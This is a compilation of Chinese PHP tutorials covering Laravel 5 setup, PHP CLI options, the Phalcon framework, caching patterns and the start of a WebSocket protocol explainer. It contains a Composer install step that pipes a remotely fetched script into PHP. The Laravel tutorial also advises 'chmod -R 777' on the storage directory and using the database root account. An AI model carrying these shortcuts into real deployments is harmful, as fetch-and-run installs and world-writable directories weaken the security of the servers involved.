镜像配置完成后，切换到你想要放置该网站的目录下（如 C:\\wwwroot、/Library/WebServer/Documents/、/var/www/html、/etc/nginx/html 等），运行命令：


bashcomposer create-project laravel/laravel learnlaravel5



然后，稍等片刻，当前目录下就会出现一个叫 learnlaravel5 的文件夹。



  然后将网站根目录配置为 learnlaravel5/public。




使用浏览器访问你配置的地址，将看到以下画面（我在本地配置的地址为 http://fuck.io:88 ）：





2. 体验 Auth 系统并完成安装



  —— 经过上面的过程，Laravel 5 的安装成功了？

  
  —— 没有o(╯□╰)o




查看路由文件 learnlaravel5/app/Http/routes.php 的代码：


phpRoute::get('/', 'WelcomeController@index');

Route::get('home', 'HomeController@index');

Route::controllers([
    'auth' => 'Auth\AuthController',
    'password' => 'Auth\PasswordController',
]);



跟随代码里的蛛丝马迹，让我们访问 http://fuck.io:88/home （请自行替换域名），结果竟然跳转到了登陆页？





没错，Laravel 自带了开箱即用的 Auth 系统，连页面都已经写好了。


让我们随意输入邮箱和密码，点击登录，你很可能得到以下画面（Mac 或 Linux 下）：





为什么空白？用开发者工具查看，这个请求的状态码是 500，为什么？



  因为 learnlaravel5/storage 目录没有 777 权限。




执行 shell 命令：


bashcd learnlaravel5
sudo chmod -R 777 storage



重新访问 http://fuck.io:88/home ，随意输入邮箱和密码，如果你得到以下画面：





那么恭喜你~ Laravel 5 安装成功！


不想配置镜像的同学，可以使用 Laravel 界非常著名的 安正超 搞得安装神器：https://github.com/overtrue/latest-laravel


3. 数据库建立及迁移


Laravel 5 把数据库配置的地方改到了 learnlaravel5/.env，打开这个文件，编辑下面四项，修改为正确的信息：


rubyDB_HOST=localhost
DB_DATABASE=laravel5
DB_USERNAME=root
DB_PASSWORD=password



推荐新建一个名为 laravel5 的数据库，为了学习方便，推荐使用 root 账户直接操作。


Laravel 已经为我们准备好了 Auth 部分的 migration，运行以下命令执行数据库迁移操作：


bashphp artisan migrate



得到的结果如下：





如果你运行命令报错，请检查数据库连接设置。


至此，数据库迁移已完成，你可以打开 http://fuck.io:88/home 欢快地尝试注册、登录啦。


4. 模型 Models


接下来我们将接触Laravel最为强大的部分，Eloquent ORM，真正提高生产力的地方，借用库克的一句话：鹅妹子英！


运行一下命令：


bashphp artisan make:model Article
php artisan make:model Page




  Laravel 4 时代，我们使用 Generator 插件来新建 Model。现在，Laravel 5 已经把 Generator 集成进了 Artisan。




现在，Artisan 帮我们在 learnlaravel5/app/ 下创建了两个文件 Article.php 和 Page.php，这是两个 Model 类，他们都继承了 Laravel Eloquent 提供的 Model 类 Illuminate\Database\Eloquent\Model，且都在 \App 命名空间下。这里需要强调一下，用命令行的方式创建文件，和自己手动创建文件没有任何区别，你也可以尝试自己创建这两个 Model 类。


Model 即为 MVC 中的 M，翻译为 模型，负责跟数据库交互。在 Eloquent 中，数据库中每一张表对应着一个 Model 类（当然也可以对应多个）。


如果你从其他框架转过来，可能对这里一笔带过的 Model 部分很不适应，没办法，是因为 Eloquent 实在太强大了啦，真的没什么好做的，继承一下 Eloquent 类就能实现很多很多功能了。



  如果你想深入地了解 Eloquent，可以阅读系列文章：深入理解 Laravel Eloquent（一）——基本概念及用法






接下来进行 Article 和 Page 类对应的 articles 表和 pages表的数据库迁移，进入 learnlaravel5/databases/migrations 文件夹。


在 ***_create_articles_table.php 中修改：


phpSchema::create('articles', function(Blueprint $table)
{
    $table->increments('id');
    $table->string('title');
    $table->string('slug')->nullable();
    $table->text('body')->nullable();
    $table->string('image')->nullable();
    $table->integer('user_id');
    $table->timestamps();
});



在 ***_create_pages_table.php 中修改：


phpSchema::create('pages', function(Blueprint $table)
{
    $table->increments('id');
    $table->string('title');
    $table->string('slug')->nullable();
    $table->text('body')->nullable();
    $table->integer('user_id');
    $table->timestamps();
});



然后执行命令：


bashphp artisan migrate



成功以后， tables 表和 pages 表已经出现在了数据库里，去看看吧~


5. 数据库填充 Seeder


在 learnlaravel5/databases/seeds/ 下新建 PageTableSeeder.php 文件，内容如下：


php<?php

use Illuminate\Database\Seeder;
use App\Page;

class PageTableSeeder extends Seeder {

  public function run()
  {
    DB::table('pages')->delete();

    for ($i=0; $i < 10; $i++) {
      Page::create([
        'title'   => 'Title '.$i,
        'slug'    => 'first-page',
        'body'    => 'Body '.$i,
        'user_id' => 1,
      ]);
    }
  }

}



然后修改同一级目录下的 DatabaseSeeder.php中：


php// $this->call('UserTableSeeder');



这一句为


php$this->call('PageTableSeeder');



然后运行命令进行数据填充：


bashcomposer dump-autoload
php artisan db:seed



去看看 pages 表，是不是多了十行数据？




教程（一）代码快照：https://github.com/johnlui/Learn-Laravel-5/archive/tutorial_1.zip





  下一步：Laravel 5 系列入门教程（二）【最适合中国人的 Laravel 教程】





 PHP命令行下的世界

作者：管宜尧

来源： PHP命令行下的世界



                    
PHP作为一门web开发语言，通常情况下我们都是在Web Server中运行PHP，使用浏览器访问，因此很少关注其命令行操作以及相关参数的使用，但是，特别是在类Unix操作系统上，PHP可以作为一门脚本语言执行与shell类似的处理任务。


php命令行(CLI)参数详解


查看PHP的所有命令行参数，使用php -h命令。我们将会对大部分常用的命令行参数进行一一解释，以加深对PHP能力的认识，更加快捷的在服务端命令行下使用PHP或者调试各种因为对环境不熟悉而出现的问题。


-a               以交互式shell模式运行
-c <path>|<file> 指定php.ini文件所在的目录
-n               指定不使用php.ini文件
-d foo[=bar]     定义一个INI实体，key为foo，value为'bar'
-e               为调试和分析生成扩展信息
-f <file>        解释和执行文件<file>.
-h               打印帮助
-i               显示PHP的基本信息
-l               进行语法检查 (lint)
-m               显示编译到内核的模块
-r <code>        运行PHP代码<code>，不需要使用标签 <?..?>
-B <begin_code>  在处理输入之前先执行PHP代码<begin_code>
-R <code>        对输入的没一行作为PHP代码<code>运行
-F <file>        Parse and execute <file> for every input line
-E <end_code>    Run PHP <end_code> after processing all input lines
-H               Hide any passed arguments from external tools.
-S <addr>:<port> 运行内建的web服务器.
-t <docroot>     指定用于内建web服务器的文档根目录<docroot>
-s               输出HTML语法高亮的源码
-v               输出PHP的版本号
-w               输出去掉注释和空格的源码
-z <file>        载入Zend扩展文件 <file>.

args...          传递给要运行的脚本的参数. 当第一个参数以`-`开始或者是脚本是从标准输入读取的时候，使用`--`参数

--ini            显示PHP的配置文件名

--rf <name>      显示关于函数 <name> 的信息.
--rc <name>      显示关于类 <name> 的信息.
--re <name>      显示关于扩展 <name> 的信息.
--rz <name>      显示关于Zend扩展 <name> 的信息.
--ri <name>      显示扩展 <name> 的配置信息.



上面列出了PHP命令所有的参数及其注释，接下来，我们将对其中比较常用的参数举例说明。


以交互式shell模式运行php


用过 Python 的朋友对Python的交互式shell比较熟悉，在命令行下，如果我们直接输入python命令，则会进入python的交互式shell程序，接下来就可以交互式的执行一些计算任务。





在PHP命令行中，同样提供了类似的功能，使用-a参数即可进入交互shell模式。





在该shell中，我们可以执行一些简单的任务，而不需要总是新建一个php文件。


更详细的使用说明，请参考官方文档


运行内建的Web服务器


从PHP 5.4.0开始，PHP的命令行模式提供了一个内建的web服务器。使用-S开始运行web服务。


假设当前我们处在目录/Users/mylxsw/codes/php/aicode/demo，在该目录中，存在index.php文件。


$ ls
index.php
$ cat index.php
<?php
echo "Hello, PHPER!";



在该目录中，执行以下命令可以启动内建web服务器，并且默认以当前目录为工作目录


$ php -S localhost:8000
PHP 5.6.3 Development Server started at Wed Jun 10 15:49:41 2015
Listening on http://localhost:8000
Document root is /Users/mylxsw/codes/php/aicode/demo
Press Ctrl-C to quit.



我们另外开启一个shell窗口，请求http://localhost:8000/即可看到脚本输出


$ curl -is http://localhost:8000/
HTTP/1.1 200 OK
Host: localhost:8000
Connection: close
X-Powered-By: PHP/5.6.3
Content-type: text/html; charset=UTF-8

Hello, PHPER!



在web服务运行的窗口，可以看到输出的日志信息





以上我们在启动内建服务器的时候，只指定了-S参数让PHP以web服务器的方式运行，这时，PHP会使用当前目录作为工作目录，因此回到当前目录下寻找请求的文件，我们还可以使用-t参数指定其它的目录作为工作目录（文档根目录）。


更多详细信息，请参考官方文档。


查找PHP的配置文件


在有的时候，由于服务器上软件安装比较混乱，我们可能安装了多个版本的PHP环境，这时候，如何定位我们的PHP程序使用的是那个配置文件就比较重要了。在PHP命令行参数中，提供了--ini参数，使用该参数，可以列出当前PHP的配置文件信息。


$ php --ini
Configuration File (php.ini) Path: /usr/local/etc/php/5.6
Loaded Configuration File:         /usr/local/etc/php/5.6/php.ini
Scan for additional .ini files in: /usr/local/etc/php/5.6/conf.d
Additional .ini files parsed:      (none)

$ /usr/local/php/bin/php --ini
Configuration File (php.ini) Path: /usr/local/php/etc/
Loaded Configuration File:         /usr/local/php/etc/php.ini
Scan for additional .ini files in: (none)
Additional .ini files parsed:      (none)



上述的服务器上我们安装了两个版本的PHP，由上可以看到，使用php --ini命令可以很方便的定位当前PHP命令将会采用哪个配置文件。


查看类/函数/扩展信息


通常，我们可以使用php --info命令或者在在web服务器上的php程序中使用函数phpinfo()显示php的信息，然后再查找相关类、扩展或者函数的信息，这样做实在是麻烦了一些。


$ php --info | grep redis
redis
Registered save handlers => files user redis
This program is free software; you can redistribute it and/or modify



我们可以使用下列参数更加方便的查看这些信息


--rf <name>      显示关于函数 <name> 的信息.
--rc <name>      显示关于类 <name> 的信息.
--re <name>      显示关于扩展 <name> 的信息.
--rz <name>      显示关于Zend扩展 <name> 的信息.
--ri <name>      显示扩展 <name> 的配置信息.



例如，我们希望查看扩展redis的配置信息


$ php --ri redis

redis

Redis Support => enabled
Redis Version => 2.2.7



查看redis类的信息


$ php --rc redis
Class [ <internal:redis> class Redis ] {

  - Constants [19] {
    Constant [ integer REDIS_NOT_FOUND ] { 0 }
    ...
  - Methods [201] {
    ...
    Method [ <internal:redis> public method echo ] {
    }
    ...



查看函数printf的信息


$ php --rf printf
Function [ <internal:standard> function printf ] {

  - Parameters [2] {
    Parameter #0 [ <required> $format ]
    Parameter #1 [ <optional> ...$args ]
  }
}



语法检查


有时候，我们只需要检查php脚本是否存在语法错误，而不需要执行它，比如在一些编辑器或者IDE中检查PHP文件是否存在语法错误。


使用-l（--syntax-check）可以只对PHP文件进行语法检查。


$ php -l index.php
No syntax errors detected in index.php



假如此时我们的index.php中存在语法错误


$ php -l index.php
PHP Parse error:  syntax error, unexpected 'echo' (T_ECHO) in index.php on line 3

Parse error: syntax error, unexpected 'echo' (T_ECHO) in index.php on line 3
Errors parsing index.php



命令行脚本开发


在使用PHP开发命令行脚本的时候，与开发web程序是明显不同的，在web程序中，我们可以通过改变url的参数，为PHP环境提供不同的输入，但是在命令行脚本程序中如何获取外部的输入呢？


在使用C语言开发程序时，我们通常会在main函数中提供两个可选的参数int main(int argc, char *argv[])，这两个参数就是从命令行提供的输入参数。在PHP中，提供了两个全局变量$argc和$argv用于获取命令行输入。



	
$argc 包含了 $argv数组包含元素的数目

	
$argv 是一个数组，包含了提供的参数，第一个参数总是脚本文件名称



假设我们有一个名为console.php的命令行脚本文件


<?php
echo '命令行参数个数: ' . $argc . "\n";
echo "命令行参数:\n";
foreach ($argv as $index => $arg) {
    echo "    {$index} : {$arg}\n";
}



在命令行下执行该脚本


$ php console.php hello world
命令行参数个数: 3
命令行参数:
    0 : console.php
    1 : hello
    2 : world



可以看到，第0个参数是我们执行的脚本名称。需要注意的是，如果提供的第一个参数是以-开头的话，需要在前面增加--，以告诉php这后面的参数是提供给我们的脚本的，而不是php执行文件的（php -r 'var_dump($argv);' -- -h）。


另外，在脚本中，我们可以通过php_sapi_name()函数判断是否是在命令行下运行的


$ php -r 'echo php_sapi_name(), PHP_EOL;'
cli





参考文献
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 phalcon简易指南

作者：zhaoyi

来源： phalcon简易指南



                    
帮助你开始使用 phalcon 的简易指南。

简介

Phalcon 2将于2015年4月17日发布，这个版本大约85%的代码是基于 Zephir 语言重写的。Zephir是开源的，使用类似PHP语法的语言，生成C语言代码，并编译成PHP扩展。这提高了PHP扩展的开发效率，并降低了框架的后期维护成本。

phalcon-devtools

安装 https://github.com/phalcon/phalcon-devtools 之后可以帮助自动生成目录结构和代码。同时把ide目录下的相应版本加入IDE的External libraries之后，可以帮助IDE自动完成代码。

nginx配置

配置nginx的时候，建议用$_SERVER[‘REQUEST_URI’]方式，这样可以防止自动加入$_GET[‘_url’]的隐规则，在参数签名时，如果你忘记这个隐规则会导至签名验证失败。

参考配置：

server {
    listen       80;
    server_name  www.example.com;
    index index.html index.htm index.php;

    root $root_path/example/public;

    location / {
        try_files $uri $uri/ /index.php$is_args$args;
    }

    location ~ \.php$ {
            try_files $uri =404;
            fastcgi_split_path_info ^(.+\.php)(/.+)$;
            fastcgi_pass 127.0.0.1:9000;
            fastcgi_index index.php;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            include fastcgi_params;
    }
}

这样设置后，代码也要参考URI Sources调整

$router->setUriSource(Router::URI_SOURCE_SERVER_REQUEST_URI);

代码结构

phalcon框架对代码结构并没有约定，你可以按自己的实际需要自行组织代码结构，这里有一个供参考的例子：https://github.com/phalcon/mvc。

实际项目中，代码分层至少要分三层，controller/view -> services -> models

services和models为了重用，可以参考composer的组织方式，放到vendor。

使用PSR-4规范的namespace自动加载。

处理404

404要处理3个场景


	没有匹配route


	dispatch时没找到controller文件


	dispatch时没找到action方法




当没有匹配route时，会使用用默认的namespace，默认的module，默认的controller，默认的action，默认的params。此时你或许会困惑为何一个请求会显示默认首页。

参考not found paths，配置route

// Not Found Paths
$router->notFound([
    'controller' => 'errors',
    'action' => 'route404'
]);

参考handling not found exceptions在注入dispatcher服务时初始化代码如下

$di->setShared('dispatcher', function () {

    $eventsManager = new EventsManager();
    $eventsManager->attach("dispatch:beforeException", function ($event, $dispatcher, $exception) {
        if ($exception instanceof DispatcherException) {
            switch ($exception->getCode()) {
                case Dispatcher::EXCEPTION_HANDLER_NOT_FOUND:
                case Dispatcher::EXCEPTION_ACTION_NOT_FOUND:
                    $dispatcher->forward([
                        'controller' => 'errors',
                        'action'     => 'show404',
                        'params'     => array('message' => $exception->getMessage())
                    ]);
                    return false;
            }
        }

        $dispatcher->forward([
            'controller' => 'errors',
            'action'     => 'show500'
        ]);
        return false;
    });

    $dispatcher = new MvcDispatcher();
    $dispatcher->setDefaultNamespace('\namespace\Controllers');
    $dispatcher->setEventsManager($eventsManager);
    return $dispatcher;
});

以代码由于还拦截了其它异常，且没有throw $exception，会中断异常调用链，可以考虑把异常$exception->getMessage(), $exception->getFile()，$exception->getLine(),$exception->getCode()信息传给view，判断是开发模式就显示，生产模式就不显示。

使用原生 SQL

原则上是不允许使用原生的SQL的，某些场景一定要用的情况下，建议把所有的sql放到config内，在service层读取使用。

第一种方式

参考Finding Rows

$sql = "SELECT id, name FROM robots ORDER BY name";

$connection = \Phalcon\DI::getDefault()->get('db');

$result = $connection->query($sql);

$result->setFetchMode(Db::FETCH_ASSOC);

echo $connection->getSQLStatement(); // sql

$data = $result->fetchAll();

print_r($data);

第二种方式

参考Using Raw SQL

// A raw SQL statement
$sql = "SELECT * FROM robots WHERE id > 0";

$robot = new Robots();

$result = $robot->getReadConnection()->query($sql);

$result->setFetchMode(Db::FETCH_ASSOC);

$data = $result->fetchAll();

print_r($data);
echo $robot->getReadConnection()->getSQLStatement();

使用PHQL

参考Phalcon Query Language (PHQL)

简单粗暴的理解是把models下的namespaceclass对应成数据库的表，类属性对应表字段。



理解了PHQL之后就可以读下Working with Models

理解事件驱动

model类的事件调用顺序如下：参考官方文档http://docs.phalconphp.com/en/latest/reference/models.html#events-and-events-manager

数据库分库，读写分离，负载均衡

用命名空间区分不同的数据库实例，对应代码结构上是不同的目录区分，在同一目录下基类负责初始化连接。连接来自初始化时注入的多个db服务

隐规则：


	initialize()在每个请求期间只会调用一次


	为每个 new 创建的实例执行初始化任务使用onConstruct()




namespace Company\Models\Notification;

/**
 * Class BaseModel
 *
 * beforeSave()和afterFetch()成对使用，用于读写数据时自动转化数据。
 * 例如自动执行serialize unSerialize
 *
 * save()发生时事件调用顺序是
 * initialize,
 * onConstruct,
 * beforeValidation,
 * beforeValidationOnCreate,
 * afterValidationOnCreate,
 * afterValidation,
 * beforeSave,
 * beforeCreate,
 * afterCreate,
 * afterSave,
 *
 * @package Company\Models\Notification
 */
class BaseModel extends \Phalcon\Mvc\Model
{

    /**
     * - initialize()在每个请求期间只会调用一次
     * - 子类必需调用父类方法
     * - 为每个 new 创建的实例执行初始化任务使用onConstruct()
     */
    public function initialize()
    {
        $this->setConnectionService('db_notification');
        
        //$this->setConnectionService('node1');
        //$this->setConnectionService('node2');
        //
        //真实场景可能使用mysqlnd_ms扩展或者haproxy
        //仅演示读负载均衡一种思路
        //$dbSlave = ['node1', 'node2', 'node3'];
        //$key = array_rand($dbSlave);
        //$db = $dbSlave[$key];
        //$this->setReadConnectionService($db);
        //
        //
        //$this->setReadConnectionService('dbRead');
        //$this->setWriteConnectionService('dbWrite');
    }
} 

表前缀与分表

model中提供的getSource()方法，合理运用即可。

class BaseModel extends \Phalcon\Mvc\Model {
    public function getSource()
    {
        return 'v1'.str_tolower(get_class($this));
    }
}

class User extends BaseModel {
...
}


class Robots extends Phalcon\Mvc\Model
{
    public function getSource()
    {
        return "robots_" . date("Ym");
    }
}

cookie

2.0.9之前的版本先set('key')，然后再正常的set('key','value')。也就是set两次绕过bug。

2.0.x分支已经修复这个bug，查看github源码

下面的单元测试可以重现这个bug。如果使用2.0.9之前的版本，建议采用两次set

public function testCookies()
{
    // di factory
    $di = new \Phalcon\Di\FactoryDefault();
    $di->setShared('crypt', function () {
        $crypt = new \Phalcon\Crypt();
        // don't use PADDING_DEFAULT, Affect the cookie result
        $crypt->setPadding(\Phalcon\Crypt::PADDING_ZERO);
        $crypt->setKey('secret_key@123456789'); // Use your own key!

        return $crypt;
    });
    // http cookies
    $di->setShared('cookies', function () {
        $cookies = new \Phalcon\Http\Response\Cookies();
        $cookies->useEncryption(false);

        return $cookies;
    });

    /** @var \Phalcon\Http\Response\CookiesInterface  $cookies */
    $cookies = \Phalcon\DI::getDefault()->get('cookies');

    $_COOKIE['key'] = '1234567890';
    $_COOKIE['key2'] = '0987654321';

    //$cookies->set('key'); // ver <= 2.0.9 uncomment will test passed
    //$cookies->set('key2'); // ver <= 2.0.9 uncomment will test passed

    $this->assertEquals('1234567890', $cookies->get('key')->getValue());

    $cookies->set('key', 'value', time() + 3600, '/', false, 'kinhom.com', true);
    $cookies->set('key2', 'value2', time() + 3600, '/', false, 'kinhom.com', true);

    $this->assertInstanceOf('\Phalcon\Http\Cookie', $cookies->get('key'));

    /* 
     * phalcon ver <= 2.0.9
     * Failed asserting that two strings are equal.
     * Expected :'value'
     * Actual   :'1234567890'
     */
    $this->assertEquals('value', $cookies->get('key')->getValue());
    $this->assertEquals('value2', $cookies->get('key2')->getValue());
}

view 渲染顺序是

volt模板文件内 {{ content() }} 是联接各个模板的桥梁，完整的顺序是setMainView() -> setTemplateAfter() -> setLayout() -> setTemplateBefore -> pick()

即Main Layout -> Layout -> Action View

controller中若echo字符串，Action view内要写上{{ content() }}才会输出。

参考范例


	https://github.com/phalcon/invo


	https://github.com/phalcon/forum




背景知识

无论你是否使用phalcon框架，做为PHP开发者，有些背景知识是必需要了解的。


	从 PHP 5.2.x 移植到 PHP 5.3.x


	从 PHP 5.3.X 迁移到 PHP 5.4.X


	从 PHP 5.4.x 迁移到 PHP 5.5.x


	从PHP 5.5.x 移植到 PHP 5.6.x


	PHP标准库 (SPL)







	PHPUnit


	xdebug，xhprof


	composer，中文


	PHP Framework Interop Group


	phpDocumentor，apigen





 谈谈服务端缓存的几种用法

作者：iammutex
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缓存是一个常谈常新的话题，作为一名服务端的技术，如果你入行一年都还没用过memcached类产品，那只能说你的公司实在太小了，或者你干的活实在太边缘了。


说起缓存，可能大家最直接想到的就是：“在数据库前面挡一层”。这是缓存最原始的意义，同时也引申出了缓存最普遍的用法。


原始模式


代码示例1（原始模式）：


//从缓存中获取数据[较快的方式]
data = getfromcache(id)
if data == null then
    //从数据库中获取数据[较慢的方式]
    data = getfromdb(id)
    //缓存1天
    setintocache(id, data, 86400)
    return data
end

return data



缓存加锁


上面这种情况下，当同时有N个请求到达，都同时执行getfromcache，那么都会发现data在缓存中不存在，然后都会去调用getfromdb，以及setintocache。这是不必要的，那么我们有没有办法减少这些并发呢。


最直接的想法是加锁，当进入if条件中时，加一把锁，让其他进程不再执行下面的逻辑，而是等第一个进程的setintocache执行完成后，再重新执行一次getfromcache。


那这个锁如何加呢？这里推荐一种省时省力的方法。通过直接在缓存value中设置过期时间来实现。


比如缓存的value值为data，那我们修改一下，把它放到一个json中，改成


{data:data,atime:1429618765}



我们增加了一个atime来记录缓存生成的时间。而逻辑就变成下面这样。


代码示例2（缓存加锁）：


//从缓存中获取数据[较快的方式]
data = getfromcache(id)
data = json.decode(data)
//如果通过检查缓存生成时间，发现缓存已经过于陈旧，那么就将缓存过期时间设置为现在开始的5分钟以后（这样其他并发进程就会以为此缓存还未过期，还会继续使用5分钟，只让当前这一个请求去重建缓存）
if data != null && data.atime+86400 < now then
    data.atime = now+300-86400
    data = json.encode(data)
    //对真正的cache来说，缓存10天或者更长时间
    setintocache(id, data, 864000)
    //这里把data设置成null是为了走到下面的if中去重建缓存
    data = null
end

if data == null then
    //从数据库中获取数据[较慢的方式]
    data = getfromdb(id)
    data = {data:data, atime:now}
    data = json.encode(data)
    //对真正的cache来说，缓存10天或者更长时间
    setintocache(id, data, 864000)
    return data
end

return data



你可以会发现，这里也会存在并发啊，和上面例1一样，第一个getfromcache到setintocache之间，如果同时有N个请求到来，不还是都会执行这段操作，都会去查库吗。


没错，是这样的。但是我们仔细看一下，例1中，从getfromcache到setintocache之间，经历了一次漫长的getfromdb操作，这个时间耗费可能是上百毫秒的。而我们例2中，并没有进行什么操作，这个时间耗费只在毫秒甚至微秒级的。


所以例1中getfromcache到setintocache之间的并发是远大于例2中的。例2中通过减小时间窗口，有效的模拟了锁机制。同时还没有增强额外的存储复杂度。所以是推荐的一种方式。


可以说，我们所有的缓存都应该是例2的方式，他在各方面都优于例1（多保存的一个atime字段耗费的内存基本可以忽略不计。且atime很多时候对于调试程序还很有用）。


主动更新缓存


那这样就够了吗？对于被动过期型的缓存，这样基本就可以了。但是现实中还有一种缓存，是主动更新的。试想有一种缓存，我们要求必须和数据库中的数据一致，不能出现陈旧数据。那么上面的缓存方式就不合适了。


我们必然会添加一个流程：即当数据库有更新时，同时更新缓存，因为缓存会自己重建，也可以修改为当数据库有更新时，同时删除缓存。


这里提到删除或者更新缓存，就有点意思了。我们上面讲到的都是非常简单的缓存，即一个id对应一个key。那么试想，如果我们有一个分页缓存，缓存了某一个文章最新的前10页数据。分别的key是page_1,page_2...page10。


那么当我们有一条新数据产生，这10页就都失效了，需要更新或者删除10次。这显然是不太科学的做法。


那么我们应该怎么做呢。我们可以借用上面例2中的方法，例2中，我们在缓存中增加了一个atime字段，标识为缓存的生成时间。我们既然知道缓存什么时候生成的，那问题就好解决了。我们在每次有新数据产生时，都去更新一个updatetime字段。然后获取分页缓存的时候，看一下这个updatetime字段是不是在atime之后，如果是，那么说明这份缓存太旧了，需要走更新流程。


代码示例3（避免批量更新）：


//从缓存中获取数据[较快的方式][这里的两次get普通的缓存系统都支持一个请求完成]
data = getfromcache(id)
updatetime = getupdatetime(id)
data = json.decode(data)
//如果通过检查缓存生成时间，发现缓存已经过于陈旧，那么就将缓存过期时间设置为现在开始的5分钟以后（这样其他并发进程就会以为此缓存还未过期，还会继续使用5分钟，只让当前这一个请求去重建缓存）
if data != null && (data.atime+86400 < now || date.atime < updatetime) then
    data.atime = now+300-86400
    data = json.encode(data)
    //对真正的cache来说，缓存10天或者更长时间
    setintocache(id, data, 864000)
    //这里把data设置成null是为了走到下面的if中去重建缓存
    data = null
end

if data == null then
    //从数据库中获取数据[较慢的方式]
    data = getfromdb(id)
    data = {data:data, atime:now}
    data = json.encode(data)
    //对真正的cache来说，缓存10天或者更长时间
    setintocache(id, data, 864000)
    return data
end

return data



这仅仅是在代码示例2的基础上增加了下面这一个条件判断而已


date.atime < updatetime



这样，无论是缓存保存时间过期了，还是缓存本身有更新，都会触发带锁机制的缓存更新。


好了，先说到这里，回头有想起来的再做更新。原文地址




顺便插播一则招聘广告。(码字不易，求别删招聘广告，谢！)


易手机坐标深圳，做一款易用安全的老年智能手机，做老年手机第一品牌。现在灰常需要服务端同学入伙。有兴趣的同学请私信或简历发邮箱：ligang#pingyijinren.com
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Laravel 5 基础教程 || 1.安装与部署 - 表严肃


教程目录


	1.安装与部署 - 表严肃

	2.路由：链接与控制器的连接者 - 表严肃

	3.控制器：任务的分发者 - 表严肃





Laravel是个强大简洁的PHP框架，大家点进来必定是清楚这一点的，我也就不再介绍Laravel的历史，创始人，PHP的历史，创始人...火的发明和使用了。

首先的首先，安装和配置Laravel之前我们需要知道Composer是个什么东西。

Composer是PHP的类库管理工具，有了这个工具之后我们就可以用命令安装网络上几乎所有的开源PHP类库了，以前我们安装类库是这样的。

打开五毛钱的浏览器 > 默默打开搜索引擎 > 敲字 > 跳过百度认证 > 进官网... 

（╯' ')╯╧═╧ ╧═╧ ╧═╧

而现在：

composer install lala_lib

啥也不说了，自己感受一下。

并且，如果此类库依赖着其他类库composer就会自己帮你安装所有依赖。

它是爱你的。

安装Composer

Windows用户：


	
https://getcomposer.org/download


	找Windows Installer，下载Composer-Setup.exe（或类似名称） 

	各种下一步



Linux/Mac用户:

curl -sS https://getcomposer.org/installer | php

或

php -r "readfile('https://getcomposer.org/installer');" | php

现在在命令行（win下运行cmd）里敲composer，显示的如果不是帮助页面（类似下方），请自备梯子再试一次

   ______
  / ____/___  ____ ___  ____  ____  ________  _____
 / /   / __ \/ __ `__ \/ __ \/ __ \/ ___/ _ \/ ___/
/ /___/ /_/ / / / / / / /_/ / /_/ (__  )  __/ /
\____/\____/_/ /_/ /_/ .___/\____/____/\___/_/
                    /_/
Composer version 1.0-dev (8e9659bd8317ad3f623c4d17940380443cf8772c)

Usage:
 command [options] [arguments]

Options:

...


安装成功后，挑一个顺眼的目录，执行：

composer create-project laravel/laravel --prefer-dist

等待一段时间（三五分钟不定，视国情）之后，如果你看到如下信息就说明Laravel安装成功了

...

Application key ... set successfully!

...


无耻硬广进


	Laravel 5视频教程地址 - 表严肃讲堂（可试听）

	所有课程: biaoyansu.com




无耻硬广出



执行进入laravel目录，执行

php -S localhost:8000 -t public

进入浏览器键入http://localhost:8000

如果你看到的是类似下方的页面说明Laravel安装成功，我们可以进行快（ku）乐（bi）的开发阶段了！



失败原因：


	网络原因

	路径原因

	没有PHP环境



有问题请在下方评论，/撒花~


教程目录


	1.安装与部署 - 表严肃

	2.路由：链接与控制器的连接者 - 表严肃

	3.控制器：任务的分发者 - 表严肃






 通过Swoole Framework学习websocket协议

作者：一堆好人卡
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  服务端的开发离不开协议，swoole的出现对于学习通信来说，无疑是非常好的教材。非常推荐大家下载 Swoole Framework，其中包含了多种协议的php实现，例如FTP，HTTP，Websocket等。本文大部分代码都是受这个项目的启发，当然学习的同时别忘了star一下这个项目。笔者本身计算机基础较弱，写这篇文章的同时也查了不少资料，如果有错误欢迎提出批评。




websocket协议学习


概述


协议分为两部分：握手，数据传输


客户端发出的握手信息类似：


GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: http://example.com
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13



服务器返回的握手信息类似：


HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Sec-WebSocket-Protocol: chat
Sec-WebSocket-Version: 13



两段信息的第一行大家应该都比较熟悉，是HTTP协议中的Request-Line和Status-Line，RFC2616。下面接着出现的是无序的头信息，这和HTTP协议相同。 一旦握手成功，一个双向连接通道就建立了。

连接用于传输message, message由一个或多个frame组成。每个frame有一个类型，属于同一个message的frame的类型都相同。类型包括：文本，二进制，control frame(协议层信号)等。目前一共有6种类型，10种保留类型。


握手


根据上面的客户端头信息可以看出，握手和HTTP是兼容的。WS的握手是HTTP的"升级版本"。


客户端发送的握手请求必须

1. 是一个合法的HTTP请求

2. 方法是GET

3. 头必须包含HOST字段

4. 头必须包含Upgrade字段，值为websocket,可以看作是判断请求为ws的标志。

5. 头必须包含Connection字段，值为Upgrade。

6. 头必须包含Sec-WebSocket-Key字段，用于验证。

7. 如果请求来自浏览器，头必须包含 Origin字段。

8. 头必须包含Sec-WebSocket-Version字段，值为13


验证握手


取Sec-WebSocket-Key字段的值，连接一个GUID字符串,"258EAFA5-E914-47DA-95CA-C5AB0DC85B11", sha1 hash一下，再base64_encode，得到的值作为字段Sec-WebSocket-Accept的值返回给客户端。用php代码表示:


'Sec-WebSocket-Accept' => base64_encode(sha1($key . static::GUID, true))



同时，返回的状态设置为101，其他状态都表示握手没有成功。 Connection,Upgrade字段作为HTTP升级版必须存在。一个握手返回如下：


HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=



Frame(帧)的结构如下：


  0                   1                   2                   3
  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
 +-+-+-+-+-------+-+-------------+-------------------------------+
 |F|R|R|R| opcode|M| Payload len |    Extended payload length    |
 |I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
 |N|V|V|V|       |S|             |   (if payload len==126/127)   |
 | |1|2|3|       |K|             |                               |
 +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
